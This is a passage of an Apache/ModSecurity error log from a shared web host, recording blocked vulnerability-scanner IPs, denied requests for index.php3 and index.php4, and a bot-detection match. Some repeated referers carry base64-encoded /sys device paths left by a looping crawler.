[file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30f7V-dFiaX9AtWiQkrAABKwc"] [Sat Jun 13 18:23:27.216374 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:27.216668 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:27.227833 2026] [security2:error] [pid 715691:tid 715826] [remote 17.246.19.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30f7V-dFiaX9AtWiQkrQABiHM"] [Sat Jun 13 18:23:27.330484 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.82:62662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:27.330769 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.82:62662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:27.453586 2026] [security2:error] [pid 715691:tid 715811] [remote 17.241.75.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30f7V-dFiaX9AtWiQktgABEmQ"] [Sat Jun 13 18:23:27.711399 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.32:21005] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:27.711748 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.32:21005] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:27.714316 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:27.714623 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:28.261749 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:23:28.262023 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:23:28.305163 2026] [security2:error] [pid 715691:tid 715751] [remote 17.246.15.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30gLV-dFiaX9AtWiQk0QABEyk"] [Sat Jun 13 18:23:28.345664 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.55:36775] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:28.346097 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.55:36775] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:28.382030 2026] [access_compat:error] [pid 715691:tid 715790] [remote 57.141.14.69:49830] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:28.382312 2026] [access_compat:error] [pid 715691:tid 715790] [remote 57.141.14.69:49830] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:28.449422 2026] [security2:error] [pid 646876:tid 646971] [remote 57.141.14.52:38608] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30gNyTkdrNlD40tSHSxgAAfVw"], referer: https://nelsonfarmstn.com/product-category/specials/page/2/?add_to_wishlist=368&_wpnonce=8d149de2a5&add-to-cart=1221 [Sat Jun 13 18:23:28.737427 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.54:35681] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:28.737716 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.54:35681] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:28.773633 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:28.773925 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:28.996282 2026] [security2:error] [pid 715691:tid 715720] [remote 17.241.219.185:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 185.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30gLV-dFiaX9AtWiQk4AABUQo"] [Sat Jun 13 18:23:29.121306 2026] [security2:error] [pid 646876:tid 646882] [remote 17.246.19.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30gdyTkdrNlD40tSHS0gAAZAM"] [Sat Jun 13 18:23:29.123344 2026] [access_compat:error] [pid 715691:tid 715749] [remote 57.141.14.17:41248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:29.123626 2026] [access_compat:error] [pid 715691:tid 715749] [remote 57.141.14.17:41248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:29.198897 2026] [security2:error] [pid 646876:tid 646885] [remote 17.246.15.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30gdyTkdrNlD40tSHS1QAAIwY"] [Sat Jun 13 18:23:29.308351 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:23:29.308631 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:23:29.397146 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.2:22083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:29.397562 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.2:22083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:29.503065 2026] [security2:error] [pid 646876:tid 646910] [remote 17.22.237.90:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 90.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30gdyTkdrNlD40tSHS3QAAGh8"] [Sat Jun 13 18:23:29.677278 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.5:56313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:29.677596 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.5:56313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:29.788186 2026] [security2:error] [pid 646876:tid 646983] [remote 148.113.130.22:30616] ModSecurity: Access denied with code 406 (phase 1). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; AhrefsBot\\\\/\\\\d\\\\.\\\\d; \\\\+http:\\\\/\\\\/ahrefs\\\\.com\\\\/robot\\\\/\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "578"] [id "900165"] [msg "AhrefsBot BOT Request"] [hostname "kawasakiz1.com"] [uri "/will-barber/"] [unique_id "ai30gdyTkdrNlD40tSHS5AAAPWg"] [Sat Jun 13 18:23:29.788406 2026] [security2:error] [pid 646876:tid 647069] [client 148.113.130.22:30616] ModSecurity: Warning. Matched phrase "AhrefsBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "kawasakiz1.com"] [uri "/will-barber/"] [unique_id "ai30gdyTkdrNlD40tSHS5AAAPWg"] [Sat Jun 13 18:23:29.812377 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:23:29.812646 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:23:30.028490 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.52:44288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:30.028775 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.52:44288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:30.055971 2026] [access_compat:error] [pid 715691:tid 715780] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:30.056420 2026] [access_compat:error] [pid 715691:tid 715780] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:30.128749 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.104:57852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:30.129032 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.104:57852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:30.134873 2026] [security2:error] [pid 646876:tid 646947] [remote 17.22.237.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30gtyTkdrNlD40tSHS7gAAcUQ"] [Sat Jun 13 18:23:30.323774 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:23:30.324156 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:23:30.324785 2026] [access_compat:error] [pid 715691:tid 715835] [remote 57.141.14.40:24072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:30.325219 2026] [access_compat:error] [pid 715691:tid 715835] [remote 57.141.14.40:24072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:30.741359 2026] [security2:error] [pid 646876:tid 647084] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/strpbrk_error.phpt"] [unique_id "ai30gtyTkdrNlD40tSHS_AAAAEw"], referer: https://mail.goldensnifferproducts.com/php52/ext/standard/tests/strings/strpbrk_error.phpt [Sat Jun 13 18:23:30.818301 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 